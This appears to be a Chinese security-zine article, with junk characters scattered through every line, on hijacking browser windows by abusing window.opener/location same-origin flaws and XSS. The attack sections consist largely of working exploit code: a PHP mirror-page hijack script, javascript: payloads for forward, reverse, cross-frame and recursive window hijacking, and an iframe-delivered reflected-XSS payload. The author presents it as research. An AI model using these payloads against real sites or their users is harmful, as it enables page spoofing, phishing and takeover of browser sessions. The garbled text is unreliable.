==Ph4nt0m Security Team==
7 T1 j" t0 p" Z/ y6 j 8 F% \4 d2 A2 E# M- ?
Issue 0x03, Phile #0x05 of 0x07
8 O$ J* i |2 [5 N . u. s3 }) f+ _/ u; k; L
: h0 ]2 c$ Z" J5 h% B
|=---------------------------------------------------------------------------=|
9 ?9 L3 |/ t8 X& e- O- v( e+ g; u( l|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|1 _3 e6 J2 C1 v: e
|=---------------------------------------------------------------------------=|
2 ~7 x1 f$ s4 e, N- W: M, {|=---------------------------------------------------------------------------=|8 M4 `( R* G2 G" T$ S( z, i' s5 {
|=------------------------=[ By rayh4c ]=---------------------------=|
$ E! F& x4 H, K|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
2 G6 U6 V7 \( ^' H! R|=---------------------------------------------------------------------------=|
1 T" o! ]9 j4 g8 s& f5 z/ H, D; M5 d/ H5 I$ [ x% K
0 e2 g3 _4 u8 n/ h) q1 ?[目录]
4 B7 ^' Y) j- m* }2 G
! g1 I, N: D! E& B1. 前言
, U; D- h9 a3 Y; X+ y2. 同源策略简叙
# |4 a; m) D; f4 ^0 H3. 理解window对象的同源策略
: i* s/ [, e( F, Z4. 窗口引用功能中的同源策略漏洞8 F# m: E0 k' S+ V* L1 t6 \" y/ u, K4 K5 s
4.1 父窗口引用子窗口的同源策略问题
* `7 t4 V& B% O+ W0 P- w- [ 4.2 子窗口引用父窗口的同源策略问题
3 T! _! m/ i( p4 z5. 利用窗口引用漏洞劫持浏览器
% b8 Y- k1 F n: f: l; j+ E6. 利用XSS漏洞劫持浏览器1 @6 p, `7 N/ a9 u( I5 H1 g, N2 X3 N
6.1 正向跨窗口劫持: {0 c, Z# `4 T5 E- v. ]" b D2 `
6.2 反向跨窗口劫持
! b: S% q5 Q" I8 ~1 M4 E c 6.3 极度危险的跨框架窗口引用劫持
" C" i6 i, B7 {2 x3 Y. _ 6.4 极度危险的正反向跨窗口递归劫持* ]+ e* n4 M# v) [: R* E8 L
6.5 完全控制浏览器
+ [: E& D8 x2 ^, {7. 后记$ r! ~/ E2 ~2 H! \
8. 参考
1 O& x; D8 _8 k3 e8 r# Q% Z) H/ s' O% l! F- C' A6 a0 p$ h0 k. q
- {( O1 x) c$ @2 @# C% [一、前言
2 c# u# Y% x3 e& o1 D/ E# S* }# f _9 }( f- U. m" V3 l$ o3 Y
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋/ S( T8 `5 Y, B: K x/ L6 ]
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
( E% m+ s: G% |+ A$ A+ b6 l劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
- L; b% D( x3 N条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。& ]% I5 w% ^$ C8 w
$ I# o4 l' T( h
1 I* P. N- a) ?9 Z/ |9 C
二、同源策略简叙# }# J% ?" Y$ m% o/ M& o
- a3 Q1 \* g# \- \3 ] 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以; q4 }& `6 X+ N* i2 V& U- D0 m
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都; ?8 z7 G( g+ I5 e" l* Y0 I
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木, U l5 f; I5 }# `' }
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个7 Q1 e7 \) X2 K4 P& j. D" P
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。& C4 U+ z6 Q7 C% z+ U- L- n! o
6 A; `2 y; \/ f! ~( I& B" \
* H6 b& e" Q0 g( }( T* d. T
三、理解window对象的同源策略; N7 ^* \* z. I& p
* L5 w- S5 A6 Y! w% K; p
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对, [, g& \: a: i ?' g H
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
. U; H4 o5 T& [+ ^0 ]: z* Q) P" I! F7 \) V6 A* c
--code-------------------------------------------------------------------------5 `4 h, i" [' `& Y8 w
<script language="javascript">" q. H. y/ }5 m
for(p in window) document.write(p+"<br>");; E* N% f$ A) m* z( j
</script>
1 Z$ n& ]! V7 h: L- ^0 m' ?: ^-------------------------------------------------------------------------------
, ]1 }4 c" W# j, l% D
3 @, K8 g- p- N# L9 S 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
4 w3 C( d+ a8 C& [! A法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,, Z; r6 w3 m7 n' {6 `4 }
这些属性和方法就必须遵循同源策略。0 A! w# \7 e# N- M+ b
, r% {0 \, R# g% i* N9 e4 K 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那5 r1 F3 S$ a; K! s; L7 \, M
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须1 U6 q9 h0 e5 q$ N$ h
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这/ X/ X- A* F. v, L0 h+ C( u" T$ S( |
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
3 f; ~7 e8 `* q值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
" y$ t% r- U) \$ t D3 U属性并没有被拒绝访问。
. q5 `% F. O6 E: h+ d5 K0 {; m$ L% [, _! |- V# I+ G1 D
--demo.html--------------------------------------------------------------------$ o0 y, y: f& g: k7 T. }5 A: t* `3 b
<script language="javascript">
3 j, w* _1 ]- v9 a1 q8 m% X0 `% w8 I# ]function allPrpos(obj) {
4 J! Z' A+ [ u: w [' j var props = "<table><tr><td>名称</td><td>值</td>";
V, u! n1 @9 v) K for(var p in obj){ 0 v9 r) z; h- ]2 l3 b
if(typeof(obj[p])=="function"){ / b* [" J) i' P( r5 |' j U
obj[p]();
8 ~+ Z! K5 q" `6 W; b8 Q5 X }else{ 6 m3 Z/ X; z8 @: Z2 j7 O
try
. C8 y* R* O( l8 j3 u) O* M { ) N3 T7 r) n: C6 {- ]+ \
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 7 s5 L5 A O* n2 l8 W& E
} ) V* z( b c. X1 w# W
catch (ex) 9 y( y( u8 l- G# }
{ ; o1 t1 |" K0 s+ g: Z) q' z, b* P
4 x' c4 C, y$ i3 G props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
% |2 m' Q7 c$ H" F- s$ L# g" I }
. p- t* w' F6 T$ y% ^+ j& ]
! j, Y7 k$ j( }: K: r }
i9 k# w) H- B9 `& D* j4 T/ _2 A& b }
7 G- U) g: k, [* c. s: M' x ; h. n8 Z" M/ D6 v. ? h
document.write(props+"</table>"); 9 `+ F3 W8 W% J7 t- D1 g) w7 R1 M* b
}
6 x5 x1 x/ Q$ {4 s9 H
0 v" Q2 D6 c( j' h5 r" L9 qfunction createWin() {& e5 Y+ z. w0 Z2 R( I& `: [
newWin = window.open ("http://www.google.com"); - z/ a& J0 Z1 o
setTimeout(function(){allPrpos(newWin)},2000);
7 U4 R8 M& R+ Y* D1 L}
2 B: y) g% q! s" i5 s
% ] l: e, J' ?- U</script>
) i. o) L/ h! t+ p1 d) C, y j' J9 \
" w9 M5 r( B$ W( Q<button onclick='createWin()'>创建一个非同源子窗口测试</button>
. z3 S J# \/ ~-------------------------------------------------------------------------------6 ]- P0 t" c6 F" n# ]
6 h# F, `+ D. q6 G/ W* m! D; p# y* P" R* J' @* a% a: B
四、窗口引用功能中的同源策略漏洞
2 z! G3 t3 Z( i M/ m8 I' Y. g' Q$ r! [6 R& V, b
4.1 父窗口引用子窗口的同源策略问题" \# J: z5 f* c2 N
, W7 E( S, H; k0 t$ @' Y" O+ r 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,4 E- ^7 y' i( B$ R5 d' y
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
+ j* }4 u/ K9 ~) @ \浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进. L* V- J" [2 [' D( v
行测试,会发现父窗口可以控制非同源子窗口location属性值。' K' ]9 }7 W0 W
. _0 h& \6 k3 q--vul1.html--------------------------------------------------------------------( c( Q z% _- x8 A! g1 D
<script language="javascript">
5 t* l. H6 O. \8 p! E7 kfunction createWin() {
0 T5 s" H- Z. \! F newWin = window.open ("http://www.google.com");
5 d3 H8 \& U8 a9 O setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
: Y& S0 u( q4 F2 N4 x# \4 S1 m} ; [1 N# R% e @
</script>4 a( y! R+ Z* t
4 G$ _" q& J5 }3 m+ H# T<button onclick='createWin()'>创建一个非同源子窗口测试</button>1 A: H2 E0 |. u( i
-------------------------------------------------------------------------------; P# z9 ~# N9 l; Z$ }
" Z: A5 }) ? e; ^. B2 ?$ K1 B( c1 m
! B Q- q$ x0 _7 M
4.2 子窗口引用父窗口的同源策略问题
- e b( e# o3 L4 ]( y# w
! p7 b- ?- h2 l; r5 ~, { 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
- ^, w4 G0 N4 U. h) Q7 [# I* j用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
: b8 x$ ]7 z4 |1 r( f# i可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定; K* n2 }1 M; b: j& G' l' D$ w" ]
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
( `% a& t' o, b) I( ?0 T! [4 o6 W# ]& t+ s1 V
--code-------------------------------------------------------------------------
0 _: ]9 B7 f' _8 H* k9 o& X' j! X' q+ W5 u
javascript:window.opener.location = "http://www.80sec.com";void(0);; h2 u$ H( J2 g0 J7 k' }2 K9 m+ I
% l* H6 @6 Z1 H! n! l g
-------------------------------------------------------------------------------
+ P, n: V" _) X: |- R
O# @/ j$ @9 z& |. u2 T% v$ H. }$ S+ ^! Z( r2 S
五、利用窗口引用漏洞劫持浏览器
' W8 F- |+ H* @7 S5 A2 \ |) r; K7 |9 I9 R
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子, Z1 A: r/ o( L$ K3 ]' u/ w# y1 @" M& W5 V
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
/ L# e" o$ b9 u# i* b6 l# s5 s么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
9 ? n+ G5 F/ \. P |; q$ {; i: g5 W" Y+ N8 f
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
: a" _# |$ a0 j生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
) U5 v3 T: q7 p0 u( W | _者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
' @+ c: m, f8 U后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
) N0 D# d5 ^2 W# r会产生什么可怕的后果。7 F, r! n: ]" W1 i
$ h; i% |; L) E8 P' R
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我) Z1 q" m8 ?( l+ _6 X5 J
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php- ~$ [5 p1 n5 P' L
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
x/ V. u$ h0 k) u5 S. {% \候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可% R+ N# Z5 P4 ]8 {8 {
以做更多的事情,所有的一切仅仅是因为点击了一个链接。' j; [' D3 i1 Y
! o( z5 S( h& ^* |# G# X
--hjk_ref.php------------------------------------------------------------------
9 R0 ]* ~; ~# H4 z6 ?- w; X& B w<?php. v; U1 F/ F0 }
if (array_key_exists("HTTP_REFERER", $_SERVER)) {; Q( g9 h" L# U2 p* K" M
$Url_Mirror = $_SERVER["HTTP_REFERER"];4 M9 ^1 L/ s" O6 i$ q8 r
} / q+ [! O2 ~ ?& O* b; B9 V
if(isset ($_GET['ref'])) {
8 r, E! U- t. hecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';% E2 d+ z! X b! f
}: H/ v" m/ }/ h' i
?>) m8 _8 }; M( B4 f' m( U
* F* ~( p4 X. Z! {9 R* B) ^
<script language="javascript">* a5 x# L) T( B
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); ! ^1 V9 j) p- g6 R
</script>. y. M- D) M( X0 O2 _5 r
-------------------------------------------------------------------------------7 ?* U/ O5 e6 F% g0 s2 Y& b! \
3 r7 m% t6 Z0 x5 T9 X1 X 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
5 `# S9 R0 I3 @- Q0 O! ^* O, \" z& ?, u. ?3 K9 r7 [
, w+ r4 w( x; ?1 Z( A8 ^/ Y六、利用XSS漏洞劫持浏览器% D* [) Z0 Y* P; s' ?1 K
! F- ?* _) R; N* v" H7 O' W, I
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为, ]$ W7 m, c% d: D$ F6 |& D8 V
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后1 V( n1 r2 u8 A5 _$ @/ c% `
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
5 B9 @% k4 e# S3 X P" Y) F2 O讨论跨站师的终极技巧:
6 J$ X5 G' S9 W$ Y% F7 h0 r: c" }, P8 V
, n' e' |# Z. m, K6 x
# b' |! B# R! X( k w l1 m6.1 正向跨窗口劫持
1 t! e7 Q4 n* J# \4 g) P, J
O) A4 G$ r) u; `4 Q 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
2 H, s) F3 v6 P u: ^3 C6 [$ \主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
, Z$ |, T5 D- C4 q* G$ m接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话$ f3 [( q. o$ b v2 g
框脚本。 . s8 h* }5 h4 `6 ]* r
% j& u; f; B* {) n4 t* ?9 \+ |--hijack_open.js---------------------------------------------------------------! N2 \+ j7 Z3 M( N8 Q3 L7 U+ U
6 }! \; }/ n) B: _2 G
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
: A. I% o- }. \/ ^
& N; i) b; [8 `3 O, t" ?" C-------------------------------------------------------------------------------
1 i) F$ Q4 O3 f1 d0 N2 t& j' l
( _- r7 T7 W; c. b5 O
& N: i3 t: H6 C6.2 反向跨窗口劫持/ w- ?3 S1 R2 O5 ~8 \
- A: R$ l* Z1 [4 w& i7 q! C: Q' f( j6 W
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
' l+ o) |2 i6 ?' b' H2 v码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
: W* ?, ]+ ^/ L框脚本。. [% D: f8 e1 q% I: a
+ e( |3 p9 N5 M4 o6 z6 c; e
--hijack_opener.js-------------------------------------------------------------
. {6 r( @4 `) u4 ]7 ? z: z* ^3 r4 X% y% w* m( s' Y
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
! w" ^( b9 E5 z' }- x$ a: U* m$ a$ v Z, L. d/ X* w8 q
-------------------------------------------------------------------------------
. w* @6 N5 c. q0 g" k$ w! K' n0 B( u" w4 c3 S5 k; P
, c! n0 C) s5 M, ^2 a6.3 极度危险的跨框架窗口引用劫持
3 U) g; B" y$ C3 `+ u/ `! N, `1 A$ {# y, Q) D2 Q2 m
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞: t9 o4 R8 N$ \4 r0 i8 f6 X8 ?
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
; ~1 z& S5 ^7 o# R6 Z* E* `& H0 B8 i适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个0 c: Y$ e$ F% T, S# Y# n" ~, I
非持久型的XSS,如下:5 ?+ c+ ~ J( b" v, a, s0 N" d1 [# }
, G1 v6 t' X& M* O4 B1 \
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>2 Q; f& @5 v1 f. z
9 R& i9 q$ `+ M& e6 U" z
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
( w" K+ X* z& C/ H7 a注入脚本。
# J0 }/ d/ C( e
, y: }2 j4 p& q--hijack_frame_opener.js-------------------------------------------------------
( j, d# g# k5 C8 A$ L. {<script>
! @$ b0 V$ m# o; T l1 S2 Ewindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";9 z; B$ w4 {" X- }% Z
</script>0 w f4 H5 g0 j8 F5 T$ G& l: C
-------------------------------------------------------------------------------
! Y! t' O# R. H H! d) y
4 |9 |8 T- t1 i* e
& X$ Q# Z5 c; M6.4 极度危险的正反向跨窗口递归劫持
9 [% f' y" j2 n, }% }& w G8 l o4 I# V/ ?4 P$ H5 b( w
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window* E$ L* F: |* C c7 r( i7 a; {
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过8 W* r$ r: q1 J* V
异常处理规避之间跨域页面的访问异常,代码如下:, T3 _" G) j% r7 j6 G& A
% S: s% [- H' S& z--code-------------------------------------------------------------------------4 O+ i7 o, D) ]+ C
$ U1 n4 m* _, h8 g* |
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);; I, [6 ^! k' E3 W% e- R1 z
1 w2 q. `. O& C! f0 x5 z
-------------------------------------------------------------------------------# f9 y$ ~* O k h* a1 q
+ \+ M4 z6 T- U2 q 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可* M7 t8 O* S. `9 o. `
以劫持B域之前的A域页面,从而实现“隔空打击”。* c. q+ E& W+ W. }* {
p0 r/ d. B9 k: E8 T& F1 q% r
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面* Q N8 j9 ~* _3 x2 a+ ~4 t: j
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。- x l1 I" Z# o* {" W# r
7 p5 ~6 N Q* U" _3 }! f# h 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。) m4 y' p( J9 e0 K
5 K# e. `. T1 p) v8 S5 H
( [9 a) [; E3 o0 M3 G1 g6.5 完全控制浏览器5 I6 b2 i* |4 q! X
7 T, \& F& ` M9 d( L
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
1 n. l% Q6 ?, f1 T( i4 P是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
- r3 m) L: g3 w8 p3 y漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
! _0 \7 n7 P3 n- r0 g而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再& d* B! z1 r* ^. f1 l+ x5 A
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
6 n) g2 r2 z- \- `# M9 B/ q, g师的终极目标 - 完全控制浏览器。: |" o/ W3 m0 w5 |2 x, f1 v' s
2 Z9 W% {) e! ?
3 Y0 @( v1 h1 x: t. Q
七、后记
; }; C' t8 d9 a+ ?" b
2 y. i) P$ d& j: i7 \9 E2 f, C 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
! a4 ~ p8 A I4 a, y. k. L与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予) W6 h$ V( O e( N
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。" e/ o; s8 a A; M
; i$ P8 S! ^5 r3 W3 g0 L
( X5 D1 l8 [( }3 Y八、参考: E/ q) E' v2 L8 i+ E: r- ^0 [7 g
; ?; _+ M, g( C& g( i
1. http://en.wikipedia.org/wiki/Same_origin_policy
+ X6 ]. `" [1 y5 a9 t4 D2. http://code.google.com/p/browser ... licy_for_DOM_access; l. U1 z+ |/ p, z- Q- |
3. http://www.w3.org/TR/Window/. m; p b8 F4 _7 Y0 }* v
4. http://www.80sec.com/release/browser-hijacking.txt
9 P! d/ P( j' p3 G5. http://www.80sec.com/all-browser-security-alert.html
' r U- H3 ?( P! T6. http://www.80sec.com/ms08-058-attacks-google.html* |4 \9 e) k# R, B
% w$ w+ t' p% t) ?$ ?' d! X-EOF- |